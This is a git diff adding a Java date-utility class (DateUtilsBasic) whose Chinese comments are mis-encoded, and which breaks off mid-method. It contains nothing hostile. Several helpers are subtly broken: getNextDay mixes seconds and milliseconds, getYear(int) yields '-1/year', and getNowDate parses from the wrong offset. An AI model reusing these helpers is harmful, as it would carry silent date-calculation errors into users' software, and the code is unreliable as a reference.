index 0000000..81fd9f8 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsBasic.java @@ -0,0 +1,1889 @@ +/** + * DateUtilsBasic.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.date; + +import java.text.DateFormat; +import java.text.ParseException; +import java.text.ParsePosition; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Calendar; +import java.util.Date; +import java.util.GregorianCalendar; +import java.util.List; +import java.util.Locale; +import java.util.Random; +import java.util.TimeZone; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import cn.org.tools.utils.constant.Constants; +import cn.org.tools.utils.string.StringUtilsBasic; + +/** + * 所有关于日期的基本æ“作. + * @author Terry + * @version + * @since JDK1.6 + */ +public class DateUtilsBasic { + + /** + * 构造方法. + */ + protected DateUtilsBasic() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The Constant YYYY_MM_DD_HH_MM_SS. */ + public static final String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; + + /** The Constant FULL. */ + public static final int FULL = DateFormat.FULL; + + /** + * 获å–当å‰æ—¶é—´. + * @return String + * 以yyyy-MM-dd HH:mm:ssæ ¼å¼æ ‡å‡† + */ + public static String getCurDate() { + SimpleDateFormat sdf = new SimpleDateFormat(YYYY_MM_DD_HH_MM_SS); + return sdf.format(new Date()); + + } + + /** + * 获å–当å‰æ—¶é—´å‰time的时间. + * @param time + * 毫秒数 + * @return String + * 已格å¼åŒ–的时间字符串。 + */ + public static String getCurDateBefore(long time) { + SimpleDateFormat sdf = new SimpleDateFormat(YYYY_MM_DD_HH_MM_SS); + return sdf.format(new Date().getTime() - time); + } + + /** + * 获å–当å‰æ—¥æœŸ + * @param format + * 日期/æ—¶é—´æ ¼å¼ + * @return String + * 已格å¼åŒ–的时间字符串。 + */ + public static String getCurDate(String format) { + SimpleDateFormat sdf = new SimpleDateFormat(format); + return sdf.format(new Date()); + + } + + /** + * 将给定日期格å¼åŒ–为字符串. + * @param date + * è¦æ ¼å¼åŒ–为时间字符串的时间值。 + * @param format + * 日期/æ—¶é—´æ ¼å¼ + * @return String + * 已格å¼åŒ–的时间字符串。 + */ + public static String getDateStr(Date date, String format) { + SimpleDateFormat sdf = new SimpleDateFormat(format); + return sdf.format(date); + + } + + /** + * 获å–现在的年份. + * @return int + * 公元年 + */ + public static int getCurYear() { + return new GregorianCalendar().get(Calendar.YEAR); + } + + /** + * 获å–现在的月份. + * @return int + * 0表示年的第一个月 + */ + public static int getCurMonth() { + return new GregorianCalendar().get(Calendar.MONTH); + } + + /** + * 获å–当å‰æ—¥æœŸæ‰€åœ¨æœˆä»½çš„天数,å‡å¦‚今天为 2011 å¹´ 5 月 3 æ—¥,则返回值为 3 + * @return int + * 当å‰æ—¥æœŸåœ¨å½“å‰æœˆä»½ä¸­çš„天数,一个月中第一天的值为 1。 + */ + public static int getCurDay() { + return new GregorianCalendar().get(Calendar.DAY_OF_MONTH); + } + + /** + * GMT时间就是英国格林å¨æ²»æ—¶é—´ï¼Œä¹Ÿå°±æ˜¯ä¸–界标准时间,是本åˆå­åˆçº¿ä¸Šçš„地方时,是0时区的区时,与中国的标准时间北京时间(东八区)相差8å°æ—¶, + * å³æ™š8å°æ—¶ã€‚ 获å–现在的格林å¨æ²»æ ‡å‡†æ—¶é—´ï¼Œä¹Ÿç§°æ ¼æž—尼治平å‡æ—¶. + * @return String + * 以 yyyyMMddTHHmmssZ æ ¼å¼æ ‡å‡† + */ + public static String getCurGMTDate() { + Calendar calendar = Calendar.getInstance(TimeZone.getTimeZone("GMT")); + String sec = (calendar.get(Calendar.SECOND) < 10 ? "0" : "") + calendar.get(Calendar.SECOND); + String min = (calendar.get(Calendar.MINUTE) < 10 ? "0" : "") + calendar.get(Calendar.MINUTE); + String hour = (calendar.get(Calendar.HOUR_OF_DAY) < 10 ? "0" : "") + calendar.get(Calendar.HOUR_OF_DAY); + String mday = (calendar.get(Calendar.DATE) < 10 ? "0" : "") + calendar.get(Calendar.DATE); + String mon = (calendar.get(Calendar.MONTH) < 9 ? "0" : "") + (calendar.get(Calendar.MONTH) + 1); + String longyear = "" + calendar.get(Calendar.YEAR); + String date = longyear + mon + mday + "T" + hour + min + sec + "Z"; + return date; + } + + /** + * å°†GMTæ ¼å¼æ—¶é—´çš„字符串转æ¢ä¸ºå½“å‰æ—¶é—´çš„字符串. + * @param strGMTDate + * 以yyyyMMddTHHmmssZæ ¼å¼æ ‡å‡† + * @return String + * 以默认语言环境的默认格å¼åŒ–风格的格å¼ï¼Œå¦‚æžœå‘生异常,返回空串"" + */ + public static String changeGMTDate2LocalDate(String strGMTDate) { + Calendar calendar = Calendar.getInstance(TimeZone.getTimeZone("GMT")); + try { + int second = Integer.parseInt(strGMTDate.substring(13, 15)); + int minute = Integer.parseInt(strGMTDate.substring(11, 13)); + int hour = Integer.parseInt(strGMTDate.substring(9, 11)); + int date = Integer.parseInt(strGMTDate.substring(6, 8)); + int month = Integer.parseInt(strGMTDate.substring(4, 6)) - 1; + int year = Integer.parseInt(strGMTDate.substring(0, 4)); + calendar.set(year, month, date, hour, minute, second); + + DateFormat dt = DateFormat.getDateTimeInstance(); + + return dt.format(calendar.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + + } + + /** + * 获å–日期字符串中的日,如果月 MM 大于12,则å‘å¹´ yyyy è¿›ä½ï¼Œæ—¥å¤§äºŽå½“月的最大日期,也å‘å‰è¿›ä½ 该方法ä¸ä½¿ç”¨ç»™å®šå­—符串的整个文本。. + * @param strdate + * 截å–å‰ yyyy-MM-dd 模å¼çš„字符,将åŽé¢çš„字符èˆåŽ» + * @return int + * 日期在月份中的天数,1表示第一天, 如果 strdate ä¸èƒ½æˆåŠŸçš„转æ¢æˆ Date,返回-1 + */ + public static int getDayOfDate(String strdate) { + int result = 0; + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + Date date = null; + try { + date = sdf.parse(strdate); + Calendar calendar = Calendar.getInstance(); + calendar.setTime(date); + result = calendar.get(Calendar.DATE); + return result; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return -1; + } + + } + + /** + * 获å–字符串所表示的日期所在月份第一天的字符串(该类中的 getFirstDayOfMonth 也是åŒæ ·çš„æ„义). + * @param strdate + * è¦è§£æžçš„日期字符串 + * @return String + * 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + * @see DateUtilsBasic#getFirstDayOfMonth(String) + */ + public static String getMonthBegin(String strdate) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM"); + Date date = null; + try { + date = sdf.parse(strdate); + return sdf1.format(date) + "-01"; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 获å–字符串所表示的日期所在月份最åŽä¸€å¤©çš„字符串(该类中的 getEndDateOfMonth å’Œ getLastDayOfMonth 也是åŒæ ·çš„æ„义). + * @param strdate + * è¦è§£æžçš„日期字符串 + * @return String + * 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + * @see DateUtilsBasic#getEndDateOfMonth(String) + * @see DateUtilsBasic#getLastDayOfMonth(String) + */ + public static String getMonthEnd(String strdate) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM"); + Calendar calendar = Calendar.getInstance(); + Date date = null; + try { + date = sdf.parse(strdate); + calendar.setTime(date); + return sdf1.format(date) + "-" + calendar.getActualMaximum(Calendar.DAY_OF_MONTH); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 比较 strBegin 表示的日期与 strEnd 表示的日期相差多少天. + * @param strBegin + * 开始日期字符串 + * @param strEnd + * 结æŸæ—¥æœŸå­—符串 + * @param defaultValue + * 如果解æžå­—符串时å‘生异常,返回该值。 + * @return int + * 如果strBegin在strEnd之åŽï¼Œè¿”回负数 + */ + public static int getDifferDays(String strBegin, String strEnd, int defaultValue) { + SimpleDateFormat f = new SimpleDateFormat("yyyy-MM-dd"); + Date date1 = null, date2 = null; + try { + date1 = f.parse(strBegin); + date2 = f.parse(strEnd); + int days = (int) ((date2.getTime() - date1.getTime()) / 86400000); + return days; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return defaultValue; + } + + } + + /** + * 比较 strEnd 表示的日期是å¦åœ¨ strBegin 表示的日期之å‰. + * @param strBegin + * 开始日期(æ ¼å¼ä¸º "HH:mm:ss") + * @param strEnd + * 截止日期(æ ¼å¼ä¸º "HH:mm:ss") + * @return boolean + * 当且仅当 strEnd 表示的瞬间比 strBegin 表示的瞬间早,æ‰è¿”回 trueï¼›å¦åˆ™è¿”回 false + * (strEnd 与 strBegin 表示的日期完全相åŒæ—¶ï¼Œè¿”回 false;解æžå­—符串时å‘生异常,返回false)。 + */ + public static boolean bforeDifferTimes(String strBegin, String strEnd) { + SimpleDateFormat f = new SimpleDateFormat("HH:mm:ss"); + Date date1 = null, date2 = null; + try { + date1 = f.parse(strBegin); + date2 = f.parse(strEnd); + return date2.before(date1); + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + /** + * 比较 str2 表示的日期是å¦åœ¨ str1 表示的日期之å‰. + * @param str1 + * 日期字符串1 + * @param str2 + * 日期字符串2 + * @param format + * 日期/æ—¶é—´æ ¼å¼ + * @return boolean + * 当且仅当 str2 表示的瞬间比 str1 表示的瞬间早,æ‰è¿”回 trueï¼›å¦åˆ™è¿”回 false + * (str2 与 str1 表示的日期完全相åŒæ—¶ï¼Œè¿”回 false;解æžå­—符串时å‘生异常,返回false)。 + */ + public static boolean bforeDifferTimes(String str1, String str2, String format) { + SimpleDateFormat f = new SimpleDateFormat(format); + Date date1 = null, date2 = null; + try { + date1 = f.parse(str1); + date2 = f.parse(str2); + return date2.before(date1); + } catch (ParseException e) { + e.printStackTrace(); + return false; + } + } + + /** + * 比较 str2 表示的日期是å¦åœ¨ str1 表示的日期之å‰. + * @param str1 + * 日期字符串1 + * @param str2 + * 日期字符串2 + * @param format + * 日期/æ—¶é—´æ ¼å¼ + * @return boolean + * 当且仅当 str2 表示的瞬间比 str1 表示的瞬间早,或者 str2 与 str1 表示的日期完全相åŒæ—¶ï¼Œæ‰è¿”回 trueï¼›å¦åˆ™è¿”回 false + * (解æžå­—符串时å‘生异常,返回false)。 + */ + public static boolean bforeOrEqualDifferTimes(String str1, String str2, String format) { + SimpleDateFormat f = new SimpleDateFormat(format); + Date date1 = null, date2 = null; + try { + date1 = f.parse(str1); + date2 = f.parse(str2); + return date2.before(date1) || date1.equals(date2); + } catch (ParseException e) { + e.printStackTrace(); + return false; + } + } + + /** + * 检查 str1 表示的日期是å¦ä¸Ž str2 表示的日期相åŒ. + * @param str1 + * 日期字符串1 + * @param str2 + * 日期字符串2 + * @param format + * 日期/æ—¶é—´æ ¼å¼ + * @return boolean + * 日期相åŒï¼Œè¿”回 true;其他情况,返回 false + */ + public static boolean checkEqauls(String str1, String str2, String format) { + SimpleDateFormat f = new SimpleDateFormat(format); + Date date1 = null, date2 = null; + try { + date1 = f.parse(str1); + date2 = f.parse(str2); + return date1.getTime() == date2.getTime(); + } catch (ParseException e) { + return false; + } + } + + /** + * èŽ·å– nowdate å»¶åŽ delay 个工作日的时间,星期六,星期天ä¸ç®—在工作日,星期一,二,三,四,五算工作日. + * @param nowdate + * 日期 + * @param delay + * 延åŽçš„工作日 + * @return Date + * nowdate å»¶åŽ delay 个工作日的时间 + */ + public static Date getNextDay(Date nowdate, int delay) { + long myTime; + Calendar calendar = new GregorianCalendar(); + for (int i = 0; i < delay; i++) { + myTime = (nowdate.getTime() / 1000) + i * 24 * 60 * 60; + calendar.setTimeInMillis(myTime); + if (calendar.get(Calendar.DAY_OF_WEEK) != Calendar.SATURDAY + && calendar.get(Calendar.DAY_OF_WEEK) != Calendar.SUNDAY) { + nowdate.setTime(myTime * 1000); + } + } + return nowdate; + } + + /** + * 获å–指定日期所在月份的天数. + * @param date + * 日期格å¼ä¸º "yyyy-mm-dd hh:MM:ss" + * @return int + * 指定日期所在月份的天数. + */ + public static int getDaysForDate(String date) { + Date curDate = strToDate(date); + Calendar calendar = Calendar.getInstance(); + calendar.setTime(curDate); + return calendar.getActualMaximum(Calendar.DAY_OF_MONTH); + } + + /** + * 建议改å getDelaySchoolYear 获å–当å‰æ—¶é—´ï¼Œç»è¿‡ num å移的学年的字符串. + * @param num + * åç§»é‡ + * @return String + * 当å‰æ—¶é—´å移 num åŽå¾—到的学年字符串 + */ + public static String getYear(int num) { + Calendar calendar = new GregorianCalendar(); + int year = calendar.get(Calendar.YEAR) + num; + int month = calendar.get(Calendar.MONTH); + String yearstr = ""; + if (month < 8) { + yearstr = String.valueOf(-1) + "/" + String.valueOf(year); + } else { + yearstr = String.valueOf(year) + "/" + String.valueOf(year + 1); + } + return yearstr; + } + + /** + * 建议改å getSchoolYear 获得时间所对应的学年. + * @param parseDate + * è¦è§£æžçš„日期 + * @return String + * 如果传入值为null,返回当å‰å­¦å¹´ + */ + public static String getYear(Date parseDate) { + if (parseDate == null) { + return getYear(0); + } + String result = ""; + Calendar calendar = Calendar.getInstance(); + calendar.setTime(parseDate); + int year = calendar.get(Calendar.YEAR); + int month = calendar.get(Calendar.MONTH); + if (month < 8) { + result = String.valueOf(year - 1) + "/" + String.valueOf(year); + } else { + result = String.valueOf(year) + "/" + String.valueOf(year + 1); + } + return result; + } + + /** + * 判断传入的日期是å¦æ˜¯ä»Šå¤©æˆ–在今天之å‰. + * @param date + * 传入的日期 + * @param model + * 日期的模å¼ï¼Œä¾‹å¦‚ "yyyy-MM-dd HH:mm:ss" + * @param defaultVaule + * 如果解æžå­—符串时å‘生异常,返回该值。 + * @return boolean + * 如果date表示的日期在今天或今天之å‰ï¼Œè¿”回 trueï¼›å¦åˆ™è¿”回 false + */ + public static boolean beforeToday(String date, String model, boolean defaultVaule) { + + SimpleDateFormat sdf = new SimpleDateFormat(model); + Date today = new Date(); + Date parseDate = null; + try { + parseDate = sdf.parse(date); + return parseDate.before(today); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return defaultVaule; + } + } + + /** + * 获得数字 i 所代表的星期,所对应的短字æ¯. + * @param i + * æ•°å­— + * @return String + * 如果i = 1,返回 "S"(å³ "SUNDAY" 的首字æ¯)ï¼› + * 如果i = 2,返回 "M"(å³ "MONDAY" 的首字æ¯)ï¼› + * ... + * 如果i > 7 或 i < 1,返回空串""; + */ + public static String getDayName(int i) { + String dayname = ""; + switch (i) { + case Calendar.MONDAY: + dayname = "M"; + break; + case Calendar.TUESDAY: + dayname = "T"; + break; + case Calendar.WEDNESDAY: + dayname = "W"; + break; + case Calendar.THURSDAY: + dayname = "T"; + break; + case Calendar.FRIDAY: + dayname = "F"; + break; + case Calendar.SATURDAY: + dayname = "S"; + break; + case Calendar.SUNDAY: + dayname = "S"; + break; + default: + break; + } + return dayname; + } + + /** + * 获å–月份的完整å. + * @param month + * 0 表示第一月January + * @return String + * 月份的完整å称,如果month < 0 或 month >= 12,返回空串 + */ + public static String getMonthStr(int month) { + String[] monthName = { "January", "February", "March", "April", "May", "June", "July", "August", "September", + "October", "November", "December", }; + + if (month < 0 | month >= 12) { + return ""; + } else { + return monthName[month]; + } + } + + /** + * 转æ¢æ—¥æœŸæ ¼å¼. + * @param date + * è¦è½¬æ¢çš„日期 + * @return String + * 返回格å¼ä¸º 1 December 1990 的日期字符串,若 date 为空,则返回空串"" + */ + public static String getDate(String date) { + if (date == null || date.equals("")) { + return ""; + } + String datestr = ""; + Date datetime = DateUtilsBasic.strToDate(date); + Calendar c = Calendar.getInstance(); + c.setTime(datetime); + datestr += getCurDay(c); + datestr += " " + getMonthStr(getCurMonth(c)); + datestr += " " + getCurYear(c); + return datestr; + } + + /** + * 获å–上一学年. + * @param year + * 学年,yyyy/yyyyæ¨¡å¼ + * @return String + * 学年 year 的上一学年,yyyy/yyyyæ¨¡å¼ + */ + public static String getLastYear(String year) { + String[] yearArray = year.split("/"); + return (Integer.parseInt(yearArray[0]) - 1) + "/" + (Integer.parseInt(yearArray[1]) - 1); + } + + /** + * 获å–下一学年. + * @param year + * the year + * @return String + * 学年 year 的下一学年,yyyy/yyyyæ¨¡å¼ + */ + public static String getNextYear(String year) { + String[] yearArray = year.split("/"); + return (Integer.parseInt(yearArray[0]) + 1) + "/" + (Integer.parseInt(yearArray[1]) + 1); + } + + /** + * 建议改å, 实现有错 判断时间1是å¦åœ¨æ—¶é—´2之å‰. + * @param date1 + * String 类型的时间1 æ ¼å¼ä¸º"yyyy-mm-dd" + * @param date2 + * String 类型的时间1 æ ¼å¼ä¸º"yyyy-mm-dd" + * @return boolean + * ture: date2 > date 1; false: date2 <= date1 + */ + public static boolean getCompareResult(String date1, String date2) { + Calendar calendar1 = Calendar.getInstance(); + calendar1.setTime(strToDate(date1)); + Calendar calendar2 = Calendar.getInstance(); + calendar2.setTime(strToDate(date2)); + if (calendar2.after(calendar1)) { + return true; + } + return false; + } + + /** + * 建议改å 将毫秒时间转æ¢ä¸ºæ—¶é—´å­—符串. + * @param date + * 1970-01-01 00:00:00开始的毫秒数 + * @return String + * 时间字符串,以yyyy-MM-dd HH:mm:ssæ ¼å¼ + */ + public static String longToStr(long date) { + Calendar calendar = Calendar.getInstance(); + calendar.setTimeInMillis(date); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + return formatter.format(calendar.getTime()); + } + + /** + * 返回指定时间的下一个月. + * @param curDate + * 指定的时间字符串 + * @return String + * 时间字符串,以 yyyy-MM-dd æ ¼å¼ + */ + public static String getNextMonth(String curDate) { + Calendar now = Calendar.getInstance(); + now.setTime(DateUtilsBasic.strToDate(curDate)); + now.add(Calendar.MONTH, 1); + return DateUtilsBasic.dateToStr(new Date(now.getTimeInMillis())); + } + + /** + * 返回指定时间的延åŽæˆ–å‰ç§»å‡ æœˆçš„时间. + * @param curDate 指定的时间字符串 + * @param num 延åŽæˆ–å‰ç§»çš„月数 + * @return 时间字符串,以 yyyy-MM-dd æ ¼å¼; + */ + public static String getNextMonth(String curDate, int num) { + Calendar now = Calendar.getInstance(); + now.setTime(DateUtilsBasic.strToDate(curDate)); + now.add(Calendar.MONTH, num); + return DateUtilsBasic.dateToStr(new Date(now.getTimeInMillis())); + } + + /** + * 返回指定时间的上一个月. + * @param curDate + * 指定的时间字符串 + * @return String + * 时间字符串,以 yyyy-MM-dd æ ¼å¼ + */ + public static String getPreMonth(String curDate) { + Calendar now = Calendar.getInstance(); + now.setTime(DateUtilsBasic.strToDate(curDate)); + now.add(Calendar.MONTH, -1); + return DateUtilsBasic.dateToStr(new Date(now.getTimeInMillis())); + } + + /** + * 检查 curDate 是å¦åœ¨ startDate å‰1天之åŽï¼ŒendDate åŽ1天之å‰. + * @param startDate + * 开始日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @param endDate + * 结æŸæ—¥æœŸå­—符串,以 yyyy-MM-dd æ ¼å¼ + * @param curDate + * è¦åˆ¤æ–­çš„日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @return boolean + * 如果 curDate 在 startDate å‰1天之åŽï¼Œåœ¨ endDate åŽ1天之å‰ï¼Œè¿”回trueï¼›å¦åˆ™è¿”回 false. + */ + public static boolean isBetween(String startDate, String endDate, String curDate) { + Calendar startCalendar = Calendar.getInstance(); + startCalendar.setTime(strToDate(startDate)); + startCalendar.add(Calendar.DAY_OF_YEAR, -1); + Calendar endCalendar = Calendar.getInstance(); + endCalendar.setTime(strToDate(endDate)); + endCalendar.add(Calendar.DAY_OF_YEAR, 1); + Calendar curCalendar = Calendar.getInstance(); + curCalendar.setTime(strToDate(curDate)); + if (startCalendar.before(curCalendar) && curCalendar.before(endCalendar)) { + return true; + } + return false; + } + + /** + * 获å–日期所在月的第一天(该类中的 getMonthBegin 也是åŒæ ·çš„æ„义). + * @param str + * 日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @return String + * 以 yyyy-MM-dd æ ¼å¼, 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + * @see DateUtilsBasic#getMonthBegin(String) + */ + public static String getFirstDayOfMonth(String str) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + Calendar calendar = Calendar.getInstance(); + try { + Date date = format.parse(str); + calendar.setTime(date); + calendar.set(Calendar.DAY_OF_MONTH, 1); + return format.format(calendar.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 获å–日期所在月的最åŽä¸€å¤©(该类中的 getEndDateOfMonth å’Œ getMonthEnd 也是åŒæ ·çš„æ„义). + * @param str + * 日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @return String + * 以 yyyy-MM-dd æ ¼å¼, 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + * @see DateUtilsBasic#getEndDateOfMonth(String) + * @see DateUtilsBasic#getMonthEnd(String) + */ + public static String getLastDayOfMonth(String str) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + Calendar calendar = Calendar.getInstance(); + try { + Date date = format.parse(str); + calendar.setTime(date); + calendar.set(Calendar.DAY_OF_MONTH, 1); + calendar.add(Calendar.MONTH, 1); + calendar.add(Calendar.DAY_OF_YEAR, -1); + return format.format(calendar.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 得到指定日期的星期六. + * @param date + * 日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @return String + * 以 yyyy-MM-dd æ ¼å¼ï¼Œæ˜ŸæœŸå…­æ˜¯è¯¥å‘¨çš„最åŽä¸€å¤©, 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + */ + public static String getSaterdayOfWeek(String date) { + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); + try { + Date datePoint = dateFormat.parse(date); + Calendar c = Calendar.getInstance(); + c.setTime(datePoint); + int dayofweek = c.get(Calendar.DAY_OF_WEEK) - 1; + c.add(Calendar.DATE, -dayofweek + 6); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + return sdf.format(c.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 得到指定日期所在周的星期天. + * @param date + * 日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @return String + * 以 yyyy-MM-dd æ ¼å¼ï¼Œæ˜ŸæœŸå¤©æ˜¯è¯¥å‘¨çš„第一天, 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + */ + public static String getSundayOfWeek(String date) { + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); + try { + Date datePoint = dateFormat.parse(date); + Calendar c = Calendar.getInstance(); + c.setTime(datePoint); + int dayofweek = c.get(Calendar.DAY_OF_WEEK) - 1; + c.add(Calendar.DATE, -dayofweek); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + return sdf.format(c.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + + } + + /** + * 得到指定日期所在周的第一天(星期天)顺延days天的日期. + * @param date + * 日期字符串,以 yyyy-MM-dd æ ¼å¼ + * @param days + * 顺延的天数,(0--星期天,1--星期一,2--星期二,以此类推) + * @return String + * 以 yyyy-MM-dd æ ¼å¼, 如果传入å‚数为 null 或者解æžå­—符串时å‘生异常,返回空串"" + */ + public static String getDateOfWeek(String date, int days) { + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); + try { + Date datePoint = dateFormat.parse(date); + Calendar c = Calendar.getInstance(); + c.setTime(datePoint); + int dayofweek = c.get(Calendar.DAY_OF_WEEK) - 1; + c.add(Calendar.DATE, -dayofweek + days); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + return sdf.format(c.getTime()); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 获å–日历 calendar 中的年份. + * @param calendar + * 日历 + * @return int + * è‹¥calendar为空,返回当å‰å¹´ä»½ + */ + public static int getCurYear(Calendar calendar) { + if (calendar == null) { + return getCurYear(); + } + return calendar.get(Calendar.YEAR); + } + + /** + * 获å–日历 calendar 中的月份. + * @param calendar + * 日历 + * @return int + * 月份从0开始,若calendar为空,返回当å‰æœˆä»½ + */ + public static int getCurMonth(Calendar calendar) { + if (calendar == null) { + return getCurMonth(); + } + return calendar.get(Calendar.MONTH); + } + + /** + * 获å–日历 calendar 中的日期. + * @param calendar + * 日历 + * @return int + * è‹¥ calendar 为空,返回当å‰æ—¥æœŸ + */ + public static int getCurDay(Calendar calendar) { + if (calendar == null) { + return getCurDay(); + } + return calendar.get(Calendar.DAY_OF_MONTH); + } + + /** + * 该方法逻辑有问题 获å–现在时间. + * @return Date + * 返回时间类型 yyyy-MM-dd HH:mm:ss + */ + public static Date getNowDate() { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + Date currentTime = new Date(); + + String dateString = formatter.format(currentTime); + ParsePosition pos = new ParsePosition(8); + Date currentTimeTwo = formatter.parse(dateString, pos); + return currentTimeTwo; + } + + /** + * 获å–现在时间. + * @return Date + * 返回时间类型 yyyy-MM-dd + */ + public static Date getNowDateShort() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(currentTime); + ParsePosition pos = new ParsePosition(8); + Date currentTimeTwo = formatter.parse(dateString, pos); + return currentTimeTwo; + } + + /** + * 获å–现在时间. + * @return String + * 返回时间字符串 yyyy-MM-dd HH:mm:ss + */ + public static String getStringDate() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 获å–现在时间. + * @return String + * è¿”å›žçŸ­æ—¶é—´å­—ç¬¦ä¸²æ ¼å¼ yyyy-MM-dd + */ + public static String getStringDateShort() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 获å–时间 å°æ—¶:分;秒 HH:mm:ss. + * @return String + * è¿”å›žçŸ­æ—¶é—´å­—ç¬¦ä¸²æ ¼å¼ HH:mm:ss. + */ + public static String getTimeShort() { + SimpleDateFormat formatter = new SimpleDateFormat("HH:mm:ss"); + Date currentTime = new Date(); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 将长时间格å¼å­—符串转æ¢ä¸ºæ—¶é—´ yyyy-MM-dd HH:mm:ss. + * @param strDate + * 指定的日期字符串 + * @return Date + * 返回时间类型 yyyy-MM-dd HH:mm:ss + */ + public static Date strToDateLong(String strDate) { + if (strDate == null) { + return null; + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(strDate, pos); + return strtodate; + } + + /** + * 将长时间格å¼æ—¶é—´è½¬æ¢ä¸ºå­—符串 yyyy-MM-dd HH:mm:ss. + * @param dateDate + * 指定的日期 + * @return String + * 返回时间字符串 yyyy-MM-dd HH:mm:ss + */ + public static String dateToStrLong(java.util.Date dateDate) { + if (dateDate == null) { + dateDate = new Date(); + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(dateDate); + return dateString; + } + + /** + * 将短时间格å¼æ—¶é—´è½¬æ¢ä¸ºå­—符串 yyyy-MM-dd. + * @param dateDate + * 指定的日期 + * @return String + * è¿”å›žçŸ­æ—¶é—´å­—ç¬¦ä¸²æ ¼å¼ yyyy-MM-dd + */ + public static String dateToStr(java.util.Date dateDate) { + if (dateDate == null) { + dateDate = new Date(); + } + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(dateDate); + return dateString; + } + + /** + * 将短时间格å¼å­—符串转æ¢ä¸ºæ—¶é—´. + * @param strDate + * çŸ­æ—¶é—´å­—ç¬¦ä¸²æ ¼å¼ yyyy-MM-dd + * @return Date + * 返回时间类型 yyyy-MM-dd, 如果 strDate 为 null,返回 null + */ + public static Date strToDate(String strDate) { + return strToDate(strDate, "yyyy-MM-dd"); + } + + /** + * 将时间字符串按指定格å¼è½¬æ¢ä¸ºæ—¥æœŸ + * @param strDate + * 时间字符串 + * @param format + * æ—¥æœŸæ ¼å¼ + * @return Date + * 返回按指定格å¼å¾—到的时间, 如果 strDate 为 null,返回 null + */ + public static Date strToDate(String strDate, String format) { + if (strDate == null) { + return null; + } + SimpleDateFormat formatter = new SimpleDateFormat(format); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(strDate, pos); + return strtodate; + } + + /** + * 得到现在时间. + * @return Date + * 精确到毫秒 + */ + public static Date getNow() { + Date currentTime = new Date(); + return currentTime; + } + + /** + * æå–一个月中的最åŽä¸€å¤©. + * @param day + * 毫秒数 + * @return Date + * 表示时间值的 Date。 + */ + public static Date getLastDate(long day) { + Calendar calendar = Calendar.getInstance(); + calendar.setTimeInMillis(day); + calendar.set(Calendar.DAY_OF_MONTH, 1); + calendar.add(Calendar.MONTH, 1); + calendar.add(Calendar.DAY_OF_YEAR, -1); + return 